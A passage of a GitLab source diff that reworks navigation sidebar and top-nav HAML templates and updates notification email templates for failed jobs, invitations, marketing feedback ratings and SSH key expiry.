@@ -50,7 +50,7 @@
- if current_user.admin?
= nav_link(controller: 'admin/dashboard') do
- = link_to admin_root_path, class: 'admin-icon qa-admin-area-link d-xl-none' do
+ = link_to admin_root_path, class: 'admin-icon d-xl-none' do
= _('Admin Area')
- if Gitlab::CurrentSettings.admin_mode
- if header_link?(:admin_mode)
@@ -68,7 +68,7 @@
- if current_user.admin?
= nav_link(controller: 'admin/dashboard', html_options: { class: "d-none d-xl-block"}) do
- = link_to admin_root_path, class: 'admin-icon qa-admin-area-link', title: _('Admin Area'), aria: { label: _('Admin Area') }, data: {toggle: 'tooltip', placement: 'bottom', container: 'body'} do
+ = link_to admin_root_path, class: 'admin-icon', title: _('Admin Area'), aria: { label: _('Admin Area') }, data: {toggle: 'tooltip', placement: 'bottom', container: 'body'} do
= sprite_icon('admin', size: 18)
- if Gitlab::CurrentSettings.admin_mode
diff --git a/app/views/layouts/nav/_top_nav.html.haml b/app/views/layouts/nav/_top_nav.html.haml
index 50c003f8e13..42119ddb291 100644
--- a/app/views/layouts/nav/_top_nav.html.haml
+++ b/app/views/layouts/nav/_top_nav.html.haml
@@ -2,6 +2,10 @@
%ul.list-unstyled.navbar-sub-nav#js-top-nav{ data: { view_model: view_model.to_json } }
%li
%a.top-nav-toggle{ href: '#', type: 'button', data: { toggle: "dropdown" } }
- = sprite_icon('dot-grid', css_class: "dropdown-icon")
+ = sprite_icon('hamburger', css_class: "dropdown-icon")
= view_model[:activeTitle]
- = sprite_icon('chevron-down')
+
+.hidden
+ - view_model[:shortcuts].each do |shortcut|
+ = link_to shortcut[:href], class: shortcut[:css_class] do
+ = shortcut[:title]
diff --git a/app/views/layouts/nav/_top_nav_responsive.html.haml b/app/views/layouts/nav/_top_nav_responsive.html.haml
new file mode 100644
index 00000000000..0d122f1adff
--- /dev/null
+++ b/app/views/layouts/nav/_top_nav_responsive.html.haml
@@ -0,0 +1,7 @@
+- return unless Feature.enabled?(:combined_menu, current_user, default_enabled: :yaml)
+
+- top_class = local_assigns.fetch(:class, nil)
+- view_model = top_nav_responsive_view_model(project: @project, group: @group)
+
+.top-nav-responsive{ class: top_class }
+ #js-top-nav-responsive{ data: { view_model: view_model.to_json } }
diff --git a/app/views/layouts/nav/groups_dropdown/_show.html.haml b/app/views/layouts/nav/groups_dropdown/_show.html.haml
index 036647e2be1..d7b0c7150d4 100644
--- a/app/views/layouts/nav/groups_dropdown/_show.html.haml
+++ b/app/views/layouts/nav/groups_dropdown/_show.html.haml
@@ -4,19 +4,20 @@
-# [1]: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56587
- group_meta = { id: @group.id, name: @group.name, namespace: @group.full_name, web_url: group_path(@group), avatar_url: @group.avatar_url } if @group&.persisted?
.frequent-items-dropdown-container.with-deprecated-styles
- .frequent-items-dropdown-sidebar.qa-groups-dropdown-sidebar
+ .frequent-items-dropdown-sidebar
%ul
= nav_link(path: 'dashboard/groups#index') do
- = link_to dashboard_groups_path, class: 'qa-your-groups-link', data: { track_label: "groups_dropdown_your_groups", track_event: "click_link" } do
+ = link_to dashboard_groups_path, data: { track_label: "groups_dropdown_your_groups", track_event: "click_link" } do
= _('Your groups')
= nav_link(path: 'groups#explore') do
= link_to explore_groups_path, data: { track_label: "groups_dropdown_explore_groups", track_event: "click_link" } do
= _('Explore groups')
- = nav_link(path: 'groups/new#create-group-pane', html_options: { class: 'gl-border-0 gl-border-t-1 gl-border-solid gl-border-gray-100' }) do
- = link_to new_group_path(anchor: 'create-group-pane'), data: { track_label: "groups_dropdown_create_group", track_event: "click_link", qa_selector: 'create_group_link' } do
- = _('Create group')
- = nav_link(path: 'groups/new#import-group-pane') do
- = link_to new_group_path(anchor: 'import-group-pane'), data: { track_label: "groups_dropdown_import_group", track_event: "click_link", qa_selector: 'import_group_link' } do
- = _('Import group')
+ - if current_user.can_create_group?
+ = nav_link(path: 'groups/new#create-group-pane', html_options: { class: 'gl-border-0 gl-border-t-1 gl-border-solid gl-border-gray-100' }) do
+ = link_to new_group_path(anchor: 'create-group-pane'), data: { track_label: "groups_dropdown_create_group", track_event: "click_link" } do
+ = _('Create group')
+ = nav_link(path: 'groups/new#import-group-pane') do
+ = link_to new_group_path(anchor: 'import-group-pane'), data: { track_label: "groups_dropdown_import_group", track_event: "click_link" } do
+ = _('Import group')
.frequent-items-dropdown-content
#js-groups-dropdown{ data: { user_name: current_user.username, group: group_meta } }
diff --git a/app/views/layouts/nav/projects_dropdown/_show.html.haml b/app/views/layouts/nav/projects_dropdown/_show.html.haml
index 2517508ba6c..46070975566 100644
--- a/app/views/layouts/nav/projects_dropdown/_show.html.haml
+++ b/app/views/layouts/nav/projects_dropdown/_show.html.haml
@@ -4,10 +4,10 @@
-# [1]: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56587
- project_meta = { id: @project.id, name: @project.name, namespace: @project.full_name, web_url: project_path(@project), avatar_url: @project.avatar_url } if @project&.persisted?
.frequent-items-dropdown-container.with-deprecated-styles
- .frequent-items-dropdown-sidebar.qa-projects-dropdown-sidebar
+ .frequent-items-dropdown-sidebar
%ul
= nav_link(path: 'dashboard/projects#index') do
- = link_to dashboard_projects_path, class: 'qa-your-projects-link', data: { track_label: "projects_dropdown_your_projects", track_event: "click_link" } do
+ = link_to dashboard_projects_path, data: { track_label: "projects_dropdown_your_projects", track_event: "click_link" } do
= _('Your projects')
= nav_link(path: 'projects#starred') do
= link_to starred_dashboard_projects_path, data: { track_label: "projects_dropdown_starred_projects", track_event: "click_link" } do
@@ -18,10 +18,10 @@
- experiment(:new_repo, user: current_user) do |e|
- e.use do
= nav_link(path: 'projects/new#blank_project', html_options: { class: 'gl-border-0 gl-border-t-1 gl-border-solid gl-border-gray-100' }) do
- = link_to new_project_path(anchor: 'blank_project'), data: { track_label: "projects_dropdown_blank_project", track_event: "click_link", track_experiment: "new_repo" } do
+ = link_to new_project_path(anchor: 'blank_project'), data: { track_label: "projects_dropdown_blank_project", track_event: "click_link", track_experiment: "new_repo", qa_selector: "create_project_link" } do
= _('Create blank project')
= nav_link(path: 'projects/new#import_project') do
- = link_to new_project_path(anchor: 'import_project'), data: { track_label: "projects_dropdown_import_project", track_event: "click_link", track_experiment: "new_repo" } do
+ = link_to new_project_path(anchor: 'import_project'), data: { track_label: "projects_dropdown_import_project", track_event: "click_link", track_experiment: "new_repo", qa_selector: "import_project_link" } do
= _('Import project')
- e.try do
= nav_link(path: 'projects/new#blank_project', html_options: { class: 'gl-border-0 gl-border-t-1 gl-border-solid gl-border-gray-100' }) do
diff --git a/app/views/layouts/nav/sidebar/_admin.html.haml b/app/views/layouts/nav/sidebar/_admin.html.haml
index b71866c9138..7a80c4e0ba9 100644
--- a/app/views/layouts/nav/sidebar/_admin.html.haml
+++ b/app/views/layouts/nav/sidebar/_admin.html.haml
@@ -1,14 +1,17 @@
+- avatar_size = sidebar_refactor_disabled? ? 24 : 18
+- avatar_size_class = sidebar_refactor_disabled? ? 's40' : 's32'
+
%aside.nav-sidebar.qa-admin-sidebar{ class: ("sidebar-collapsed-desktop" if collapsed_sidebar?), 'aria-label': _('Admin navigation') }
.nav-sidebar-inner-scroll
.context-header
= link_to admin_root_path, title: _('Admin Overview') do
- %span.avatar-container.s40.settings-avatar
- = sprite_icon('admin', size: 24)
+ %span{ class: ['avatar-container', 'settings-avatar', 'rect-avatar', avatar_size_class] }
+ = sprite_icon('admin', size: avatar_size)
%span.sidebar-context-title
= _('Admin Area')
%ul.sidebar-top-level-items{ data: { qa_selector: 'admin_sidebar_overview_submenu_content' } }
= nav_link(controller: %w(dashboard admin admin/projects users groups jobs runners gitaly_servers), html_options: {class: 'home'}) do
- = link_to admin_root_path do
+ = link_to admin_root_path, class: 'has-sub-items' do
.nav-icon-container
= sprite_icon('overview')
%span.nav-item-name
@@ -49,7 +52,7 @@
= _('Gitaly Servers')
= nav_link(controller: admin_analytics_nav_links) do
- = link_to admin_dev_ops_report_path, data: { qa_selector: 'admin_analytics_link' } do
+ = link_to admin_dev_ops_report_path, data: { qa_selector: 'admin_analytics_link' }, class: 'has-sub-items' do
.nav-icon-container
= sprite_icon('chart')
%span.nav-item-name
@@ -71,14 +74,14 @@
= _('Usage Trends')
= nav_link(controller: admin_monitoring_nav_links) do
- = link_to admin_system_info_path, data: { qa_selector: 'admin_monitoring_link' } do
+ = link_to admin_system_info_path, data: { qa_selector: 'admin_monitoring_link' }, class: 'has-sub-items' do
.nav-icon-container
= sprite_icon('monitor')
%span.nav-item-name
= _('Monitoring')
%ul.sidebar-sub-level-items{ data: { qa_selector: 'admin_sidebar_monitoring_submenu_content' } }
- = nav_link(controller: %w(system_info background_jobs health_check requests_profiles), html_options: { class: "fly-out-top-item" } ) do
+ = nav_link(controller: admin_monitoring_nav_links, html_options: { class: "fly-out-top-item" } ) do
= link_to admin_system_info_path do
%strong.fly-out-top-item-name
= _('Monitoring')
@@ -87,6 +90,10 @@
= link_to admin_system_info_path, title: _('System Info') do
%span
= _('System Info')
+ = nav_link(controller: :background_migrations) do
+ = link_to admin_background_migrations_path, title: _('Background Migrations') do
+ %span
+ = _('Background Migrations')
= nav_link(controller: :background_jobs) do
= link_to admin_background_jobs_path, title: _('Background Jobs') do
%span
@@ -227,20 +234,8 @@
%strong.fly-out-top-item-name
= _('Labels')
- = nav_link(controller: :appearances) do
- = link_to admin_appearances_path do
- .nav-icon-container
- = sprite_icon('appearance')
- %span.nav-item-name
- = _('Appearance')
- %ul.sidebar-sub-level-items.is-fly-out-only
- = nav_link(controller: :appearances, html_options: { class: "fly-out-top-item" } ) do
- = link_to admin_appearances_path do
- %strong.fly-out-top-item-name
- = _('Appearance')
-
- = nav_link(controller: [:application_settings, :integrations]) do
- = link_to general_admin_application_settings_path do
+ = nav_link(controller: [:application_settings, :integrations, :appearances]) do
+ = link_to general_admin_application_settings_path, class: 'has-sub-items' do
.nav-icon-container
= sprite_icon('settings')
%span.nav-item-name.qa-admin-settings-item
@@ -248,7 +243,7 @@
%ul.sidebar-sub-level-items{ data: { qa_selector: 'admin_sidebar_settings_submenu_content' } }
-# This active_nav_link check is also used in `app/views/layouts/admin.html.haml`
- = nav_link(controller: [:application_settings, :integrations], html_options: { class: "fly-out-top-item" } ) do
+ = nav_link(controller: [:application_settings, :integrations, :appearances], html_options: { class: "fly-out-top-item" } ) do
= link_to general_admin_application_settings_path do
%strong.fly-out-top-item-name
= _('Settings')
@@ -295,6 +290,10 @@
= link_to network_admin_application_settings_path, title: _('Network'), data: { qa_selector: 'admin_settings_network_item' } do
%span
= _('Network')
+ = nav_link(controller: :appearances ) do
+ = link_to admin_application_settings_appearances_path do
+ %span
+ = _('Appearance')
= nav_link(path: 'application_settings#preferences') do
= link_to preferences_admin_application_settings_path, title: _('Preferences'), data: { qa_selector: 'admin_settings_preferences_link' } do
%span
diff --git a/app/views/layouts/nav/sidebar/_analytics_links.html.haml b/app/views/layouts/nav/sidebar/_analytics_links.html.haml
index 970a1d5f2c7..58989d6afc4 100644
--- a/app/views/layouts/nav/sidebar/_analytics_links.html.haml
+++ b/app/views/layouts/nav/sidebar/_analytics_links.html.haml
@@ -4,7 +4,7 @@
- if navbar_links.any?
= nav_link(path: all_paths) do
- = link_to analytics_link.link, {class: 'shortcuts-analytics', data: { qa_selector: 'analytics_anchor' } } do
+ = link_to analytics_link.link, {class: 'shortcuts-analytics has-sub-items', data: { qa_selector: 'analytics_anchor' } } do
.nav-icon-container
= sprite_icon('chart')
%span.nav-item-name{ data: { qa_selector: 'analytics_link' } }
diff --git a/app/views/layouts/nav/sidebar/_context_menu_body.html.haml b/app/views/layouts/nav/sidebar/_context_menu_body.html.haml
new file mode 100644
index 00000000000..321bcda5702
--- /dev/null
+++ b/app/views/layouts/nav/sidebar/_context_menu_body.html.haml
@@ -0,0 +1,9 @@
+- avatar_size_class = sidebar_refactor_disabled? ? 's40' : 's32'
+- avatar_classes = ['avatar-container', 'rect-avatar', 'group-avatar']
+- avatar_classes << avatar_size_class
+
+= link_to group_path(@group), title: @group.name, data: { qa_selector: 'group_scope_link' } do
+ %span{ class: avatar_classes }
+ = group_icon(@group, class: ['avatar', 'avatar-tile', avatar_size_class])
+ %span.sidebar-context-title
+ = @group.name
diff --git a/app/views/layouts/nav/sidebar/_group.html.haml b/app/views/layouts/nav/sidebar/_group.html.haml
index 757f95f864a..0ce1d48a2de 100644
--- a/app/views/layouts/nav/sidebar/_group.html.haml
+++ b/app/views/layouts/nav/sidebar/_group.html.haml
@@ -1,36 +1,39 @@
- issues_count = cached_issuables_count(@group, type: :issues)
-- merge_requests_count = group_open_merge_requests_count(@group)
+- merge_requests_count = cached_issuables_count(@group, type: :merge_requests)
- aside_title = @group.subgroup? ? _('Subgroup navigation') : _('Group navigation')
%aside.nav-sidebar{ class: ("sidebar-collapsed-desktop" if collapsed_sidebar?), **sidebar_tracking_attributes_by_object(@group), 'aria-label': aside_title }
.nav-sidebar-inner-scroll
- .context-header
- = link_to group_path(@group), title: @group.name do
- %span.avatar-container.rect-avatar.s40.group-avatar
- = group_icon(@group, class: "avatar s40 avatar-tile")
- %span.sidebar-context-title
- = @group.name
+ - if sidebar_refactor_disabled?
+ .context-header
+ = render 'layouts/nav/sidebar/context_menu_body'
+
%ul.sidebar-top-level-items.qa-group-sidebar
+ - if sidebar_refactor_enabled?
+ = nav_link(path: ['groups#show', 'groups#details'], html_options: { class: 'context-header' }) do
+ = render 'layouts/nav/sidebar/context_menu_body'
+
= render_if_exists 'layouts/nav/sidebar/group_trial_status_widget', group: @group
- if group_sidebar_link?(:overview)
- paths = group_overview_nav_link_paths
= nav_link(path: paths, unless: -> { current_path?('groups/contribution_analytics#show') }, html_options: { class: 'home' }) do
- = link_to group_path(@group) do
+ - information_link = sidebar_refactor_enabled? ? activity_group_path(@group) : group_path(@group)
+ = link_to information_link, class: 'has-sub-items', data: { qa_selector: 'group_information_link' } do
.nav-icon-container
- - sprite = Feature.enabled?(:sidebar_refactor, current_user) ? 'group' : 'home'
+ - sprite = sidebar_refactor_enabled? ? 'group' : 'home'
= sprite_icon(sprite)
%span.nav-item-name
= group_information_title(@group)
- %ul.sidebar-sub-level-items
+ %ul.sidebar-sub-level-items{ data: { qa_selector: 'group_information_submenu'} }
= nav_link(path: paths, html_options: { class: "fly-out-top-item" } ) do
- = link_to group_path(@group) do
+ = link_to information_link do
%strong.fly-out-top-item-name
= group_information_title(@group)
%li.divider.fly-out-top-item
- - if Feature.disabled?(:sidebar_refactor, current_user)
+ - if sidebar_refactor_disabled?
= nav_link(path: ['groups#show', 'groups#details', 'groups#subgroups'], html_options: { class: 'home' }) do
= link_to details_group_path(@group), title: _('Group details') do
%span
@@ -42,13 +45,13 @@
%span
= _('Activity')
- - if group_sidebar_link?(:labels) && Feature.enabled?(:sidebar_refactor, current_user, default_enabled: :yaml)
+ - if group_sidebar_link?(:labels) && sidebar_refactor_enabled?
= nav_link(path: 'labels#index') do
= link_to group_labels_path(@group), title: _('Labels') do
%span
= _('Labels')
- - if Feature.enabled?(:sidebar_refactor, current_user, default_enabled: :yaml)
+ - if sidebar_refactor_enabled?
- if group_sidebar_link?(:group_members)
= nav_link(path: 'group_members#index') do
= link_to group_group_members_path(@group), title: _('Members'), data: { qa_selector: 'group_members_item' } do
@@ -59,7 +62,7 @@
- if group_sidebar_link?(:issues)
= nav_link(path: group_issues_sub_menu_items, unless: -> { current_path?('issues_analytics#show') }) do
- = link_to issues_group_path(@group), data: { qa_selector: 'group_issues_item' } do
+ = link_to issues_group_path(@group), data: { qa_selector: 'group_issues_item' }, class: 'has-sub-items' do
.nav-icon-container
= sprite_icon('issues')
%span.nav-item-name
@@ -85,7 +88,7 @@
%span
= boards_link_text
- - if group_sidebar_link?(:labels) && Feature.disabled?(:sidebar_refactor, current_user, default_enabled: :yaml)
+ - if group_sidebar_link?(:labels) && sidebar_refactor_disabled?
= nav_link(path: 'labels#index') do
= link_to group_labels_path(@group), title: _('Labels') do
%span
@@ -138,7 +141,7 @@
- if group_sidebar_link?(:wiki)
= render 'layouts/nav/sidebar/wiki_link', wiki_url: @group.wiki.web_url
- - if Feature.disabled?(:sidebar_refactor, current_user, default_enabled: :yaml)
+ - if sidebar_refactor_disabled?
- if group_sidebar_link?(:group_members)
= nav_link(path: 'group_members#index') do
= link_to group_group_members_path(@group) do
@@ -154,7 +157,7 @@
- if group_sidebar_link?(:settings)
= nav_link(path: group_settings_nav_link_paths) do
- = link_to edit_group_path(@group) do
+ = link_to edit_group_path(@group), class: 'has-sub-items' do
.nav-icon-container
= sprite_icon('settings')
%span.nav-item-name{ data: { qa_selector: 'group_settings' } }
diff --git a/app/views/layouts/nav/sidebar/_profile.html.haml b/app/views/layouts/nav/sidebar/_profile.html.haml
index 63b97e3133c..daafabdb799 100644
--- a/app/views/layouts/nav/sidebar/_profile.html.haml
+++ b/app/views/layouts/nav/sidebar/_profile.html.haml
@@ -1,9 +1,12 @@
+- avatar_size = sidebar_refactor_disabled? ? 40 : 32
+- avatar_size_class = sidebar_refactor_disabled? ? 's40' : 's32'
+
%aside.nav-sidebar{ class: ("sidebar-collapsed-desktop" if collapsed_sidebar?), **sidebar_tracking_attributes_by_object(current_user), 'aria-label': _('User settings') }
.nav-sidebar-inner-scroll
.context-header
= link_to profile_path, title: _('Profile Settings') do
- %span.avatar-container.s40.settings-avatar
- = image_tag avatar_icon_for_user(current_user, 40), class: "avatar s40 avatar-tile js-sidebar-user-avatar", alt: current_user.name, data: { testid: 'sidebar-user-avatar' }
+ %span{ class: ['avatar-container', 'settings-avatar', avatar_size_class] }
+ = image_tag avatar_icon_for_user(current_user, avatar_size), class: ['avatar', 'avatar-tile', 'js-sidebar-user-avatar', avatar_size_class], alt: current_user.name, data: { testid: 'sidebar-user-avatar' }
%span.sidebar-context-title= _('User Settings')
%ul.sidebar-top-level-items
= nav_link(path: 'profiles#show', html_options: {class: 'home'}) do
diff --git a/app/views/layouts/terms.html.haml b/app/views/layouts/terms.html.haml
index e39cb5ee0a2..4d5c354388f 100644
--- a/app/views/layouts/terms.html.haml
+++ b/app/views/layouts/terms.html.haml
@@ -5,7 +5,7 @@
%body{ data: { page: body_data_page } }
.layout-page.terms{ class: page_class }
- .content-wrapper.gl-mt-0
+ .content-wrapper
.mobile-overlay
.alert-wrapper
= render "layouts/broadcast"
diff --git a/app/views/notify/_failed_builds.html.haml b/app/views/notify/_failed_builds.html.haml
index 11cbd700258..afed3c95130 100644
--- a/app/views/notify/_failed_builds.html.haml
+++ b/app/views/notify/_failed_builds.html.haml
@@ -3,10 +3,10 @@
had
= failed.size
failed
- #{'build'.pluralize(failed.size)}.
+ #{'job'.pluralize(failed.size)}.
%tr.table-warning
%td{ style: "font-family: 'Helvetica Neue',Helvetica,Arial,sans-serif; border: 1px solid #ededed; border-bottom: 0; border-radius: 4px 4px 0 0; overflow: hidden; background-color: #fdf4f6; color: #d22852; font-size: 14px; line-height: 1.4; text-align: center; padding: 8px 16px;" }
- Failed builds
+ Failed jobs
%tr.section
%td{ style: "font-family: 'Helvetica Neue',Helvetica,Arial,sans-serif; padding: 0 16px; border: 1px solid #ededed; border-radius: 4px; overflow: hidden; border-top: 0; border-radius: 0 0 4px 4px;" }
%table.builds{ border: "0", cellpadding: "0", cellspacing: "0", style: "width: 100%; border-collapse: collapse;" }
diff --git a/app/views/notify/in_product_marketing_email.html.haml b/app/views/notify/in_product_marketing_email.html.haml
index a1c3ecfb87e..45b002757e3 100644
--- a/app/views/notify/in_product_marketing_email.html.haml
+++ b/app/views/notify/in_product_marketing_email.html.haml
@@ -184,9 +184,32 @@
- @message.body_line2&.tap do |line|
%p{ style: "margin: 0 0 20px 0;" }
= line.html_safe
- %tr
- %td{ align: "center", style: "padding: 10px 20px 80px 20px; font-family: 'Source Sans Pro', helvetica, arial, sans-serif;" }
- .cta_link= @message.cta_link
+ - if @message.cta_text
+ %tr
+ %td{ align: "center", style: "padding: 10px 20px 80px 20px; font-family: 'Source Sans Pro', helvetica, arial, sans-serif;" }
+ .cta_link= @message.cta_link
+ - else
+ %tr
+ %td{ style: "padding: 10px 20px 10px 20px; font-family: 'Source Sans Pro', helvetica, arial, sans-serif; color:#000000; font-size: 16px; line-height: 20px;" }
+ %table{ border: "0", cellpadding: "0", cellspacing: "0", width: "100%", style: "width: 100%; min-width: 100%;" }
+ %tr
+ %td{ width: "50%", style: "width: 50%; min-width: 50%; color: #000000; font-family: 'Source Sans Pro', helvetica, arial, sans-serif; font-size: 16px; line-height: 100%; padding-bottom: 16px; text-align: left;", align: "left" }
+ = @message.feedback_ratings(1)
+ %td{ width: "50%", style: "width: 50%; min-width: 50%; color: #000000; font-family: 'Source Sans Pro', helvetica, arial, sans-serif; font-size: 16px; line-height: 100%; padding-bottom: 16px; text-align: right;", align: "right" }
+ = @message.feedback_ratings(5)
+ %tr
+ %td{ align: "center", style: "padding: 10px 1px 30px 1px;" }
+ %table{ align: "center", cellpadding: "5", cellspacing: "0", width: "100%", style: "width: 100%; min-width: 100%; border: 1px solid #dae0ea; border-radius: 0; min-width: 100%; text-align: center; font-family: 'Source Sans Pro', helvetica, arial, sans-serif; font-size: 16px;" }
+ %tr
+ - (1..5).each do |rating|
+ %td{ height: "54", style: "border-left: 1px solid #dae0ea; padding-bottom: 0; width: 9% !important;", width: "9%" }
+ %a{ href: @message.feedback_link(rating), style: "color: #424242; display: block; text-decoration: none;" }
+ %span{ height: "54", style: "display: block; font-size: 18px; height: 22px; line-height: 22px; padding: 16px 0; width: 100%; text-decoration: none;" }
+ = rating
+ %tr
+ %td{ style: "padding: 10px 20px 30px 20px; font-family: 'Source Sans Pro', helvetica, arial, sans-serif; color:#000000; font-size: 18px; line-height: 24px;" }
+ %p{ style: "margin: 0 0 50px 0;" }
+ = @message.feedback_thanks
%tr{ style: "background-color: #ffffff;" }
%td{ align: "center", style: "padding:75px 20px 25px;" }
= about_link('gitlab_logo.png', 80)
diff --git a/app/views/notify/in_product_marketing_email.text.erb b/app/views/notify/in_product_marketing_email.text.erb
index 7d0fe7aec6d..6f0a2efa410 100644
--- a/app/views/notify/in_product_marketing_email.text.erb
+++ b/app/views/notify/in_product_marketing_email.text.erb
@@ -8,10 +8,19 @@
<%= @message.body_line2 %>
+<% if @message.cta_text %>
<%= @message.cta_link %>
+<% else %>
+<% (1..5).each do |rating| %>
+<%= "#{rating} - #{@message.feedback_ratings(rating).upcase} - #{@message.feedback_link(rating)}" %>
+<% end %>
+
+
+<%= @message.feedback_thanks %>
+<% end %>
diff --git a/app/views/notify/member_invited_email.html.haml b/app/views/notify/member_invited_email.html.haml
index f7dc1fa662c..a4ea63e3d53 100644
--- a/app/views/notify/member_invited_email.html.haml
+++ b/app/views/notify/member_invited_email.html.haml
@@ -13,28 +13,48 @@
= html_escape(s_("InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}")) % placeholders
%p.invite-actions
= link_to s_('InviteEmail|Join now'), invite_url(@token, invite_type: Members::InviteEmailExperiment::INVITE_TYPE), class: 'invite-btn-join'
- - experiment_instance.try(:avatar) do
- %tr
- %td.text-content
- %img.mail-avatar{ height: "60", src: avatar_icon_for_user(member.created_by, 60, only_path: false), width: "60", alt: "" }
- %p
- = html_escape(s_("InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}")) % placeholders.merge({ inviter: (link_to member.created_by.name, user_url(member.created_by)).html_safe })
- %p.invite-actions
- = link_to s_('InviteEmail|Join now'), invite_url(@token, invite_type: Members::InviteEmailExperiment::INVITE_TYPE), class: 'invite-btn-join'
- - experiment_instance.try(:permission_info) do
+ - experiment_instance.try(:activity) do
%tr
%td.text-content{ colspan: 2 }
%img.mail-avatar{ height: "60", src: avatar_icon_for_user(member.created_by, 60, only_path: false), width: "60", alt: "" }
%p
- = html_escape(s_("InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level.")) % placeholders.merge({ inviter: (link_to member.created_by.name, user_url(member.created_by)).html_safe })
+ = html_escape(s_("InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}")) % placeholders.merge({ inviter: (link_to member.created_by.name, user_url(member.created_by)).html_safe })
%p.invite-actions
= link_to s_('InviteEmail|Join now'), invite_url(@token, invite_type: Members::InviteEmailExperiment::INVITE_TYPE), class: 'invite-btn-join'
%tr.border-top
- %td.text-content.half-width
+ %td.text-content.mailer-align-left.half-width
%h4
- = s_('InviteEmail|What is a GitLab %{project_or_group}?') % { project_or_group: member_source.model_name.singular }
- %p= invited_to_description(member_source.model_name.singular)
- %td.text-content.half-width
+ = s_('InviteEmail|%{project_or_group} details') % { project_or_group: member_source.model_name.singular.capitalize }
+ %ul
+ %li
+ %div
+ %img.mailer-icon{ alt: '', src: image_url("mailers/members/users.png") }
+ %span
+ - member_count = member_source.members.size
+ = n_('%{bold_start}%{count}%{bold_end} member', '%{bold_start}%{count}%{bold_end} members',
+ member_count).html_safe % { count: number_with_delimiter(member_count),
+ bold_start: '<b>'.html_safe,
+ bold_end: '</b>'.html_safe }
+ %li
+ %div
+ %img.mailer-icon{ alt: '', src: image_url("mailers/members/issues.png") }
+ %span
+ - issue_count = member_source.open_issues_count(member.created_by)
+ = n_('%{bold_start}%{count}%{bold_end} issue', '%{bold_start}%{count}%{bold_end} issues',
+ issue_count).html_safe % { count: number_with_delimiter(issue_count),
+ bold_start: '<b>'.html_safe,
+ bold_end: '</b>'.html_safe }
+ %li
+ %div
+ %img.mailer-icon{ alt: '', src: image_url("mailers/members/merge-request-open.png") }
+ %span
+ - mr_count = member_source.open_merge_requests_count(member.created_by)
+ = n_('%{bold_start}%{count}%{bold_end} opened merge request', '%{bold_start}%{count}%{bold_end} opened merge requests',
+ mr_count).html_safe % { count: number_with_delimiter(mr_count),
+ bold_start: '<b>'.html_safe,
+ bold_end: '</b>'.html_safe }
+ %td.text-content.mailer-align-left.half-width
%h4
- = s_('InviteEmail|What can I do with the %{role} permission level?') % { role: member.human_access.downcase }
- %p= invited_role_description(member.human_access)
+ = s_("InviteEmail|What's it about?")
+ %p
+ = invited_to_description(member_source)
diff --git a/app/views/notify/pipeline_failed_email.text.erb b/app/views/notify/pipeline_failed_email.text.erb
index 1fe7d554bc3..6ab74bcfb1a 100644
--- a/app/views/notify/pipeline_failed_email.text.erb
+++ b/app/views/notify/pipeline_failed_email.text.erb
@@ -28,7 +28,7 @@ Pipeline #<%= @pipeline.id %> ( <%= pipeline_url(@pipeline) %> ) triggered by <%
Pipeline #<%= @pipeline.id %> ( <%= pipeline_url(@pipeline) %> ) triggered by API
<% end -%>
<% failed = @pipeline.latest_statuses.failed -%>
-had <%= failed.size %> failed <%= 'build'.pluralize(failed.size) %>.
+had <%= failed.size %> failed <%= 'job'.pluralize(failed.size) %>.
<% failed.each do |build| -%>
<%= render "notify/links/#{build.to_partial_path}", pipeline: @pipeline, build: build %>
diff --git a/app/views/notify/ssh_key_expired_email.html.haml b/app/views/notify/ssh_key_expired_email.html.haml
index 651bdac7acb..79a09b74683 100644
--- a/app/views/notify/ssh_key_expired_email.html.haml
+++ b/app/views/notify/ssh_key_expired_email.html.haml
@@ -1,7 +1,7 @@
%p
= _('Hi %{username}!') % { username: sanitize_name(@user.name) }
%p
- = _('Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:')
+ = _('SSH keys with the following fingerprints have expired and can no longer be used:')
%table
%tbody
- @fingerprints.each do |fingerprint|
diff --git a/app/views/notify/ssh_key_expired_email.text.erb b/app/views/notify/ssh_key_expired_email.text.erb
index aa6e79d59b8..0eb0859e4b9 100644
--- a/app/views/notify/ssh_key_expired_email.text.erb
+++ b/app/views/notify/ssh_key_expired_email.text.erb
@@ -1,6 +1,6 @@
<%= _('Hi %{username}!') % { username: sanitize_name(@user.name) } %>
-<%= _('Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:') %>
+<%= _('SSH keys with the following fingerprints have expired and can no longer be used:') %>
<% @fingerprints.each do |fingerprint| %>
- <%= fingerprint %>
diff --git a/app/views/notify/ssh_key_expiring_soon.text.erb b/app/views/notify/ssh_key_expiring_soon.text.erb
index ff6feb87662..372c55ecb87 100644
--- a/app/views/notify/ssh_key_expiring_soon.text.erb
+++ b/app/views/notify/ssh_key_expiring_soon.text.erb
@@ -1,6 +1,6 @@
<%= _('Hi %{username}!') % { username: sanitize_name(@user.name) } %>
-<%= _('Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:') %>
+<%= _('SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:') %>
<% @fingerprints.each do |fingerprint| %>
- <%= fingerprint %>
diff --git a/app/views/notify/ssh_key_expiring_soon_email.html.haml b/app/views/notify/ssh_key_expiring_soon_email.html.haml
index 924165ecf3d..cd4ee23e3db 100644
--- a/app/views/notify/ssh_key_expiring_soon_email.html.haml
+++ b/app/views/notify/ssh_key_expiring_soon_email.html.haml
@@ -1,7 +1,7 @@
%p
= _('Hi %{username}!') % { username: sanitize_name(@user.name) }
%p
- = _('Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:')
+ = _('SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:')
%table
%tbody
- @fingerprints.each do |fingerprint|
diff --git a/app/views/notify/unknown_sign_in_email.html.haml b/app/views/notify/unknown_sign_in_email.html.haml
index 8d0993e9ff8..47c5656db27 100644
--- a/app/views/notify/unknown_sign_in_email.html.haml
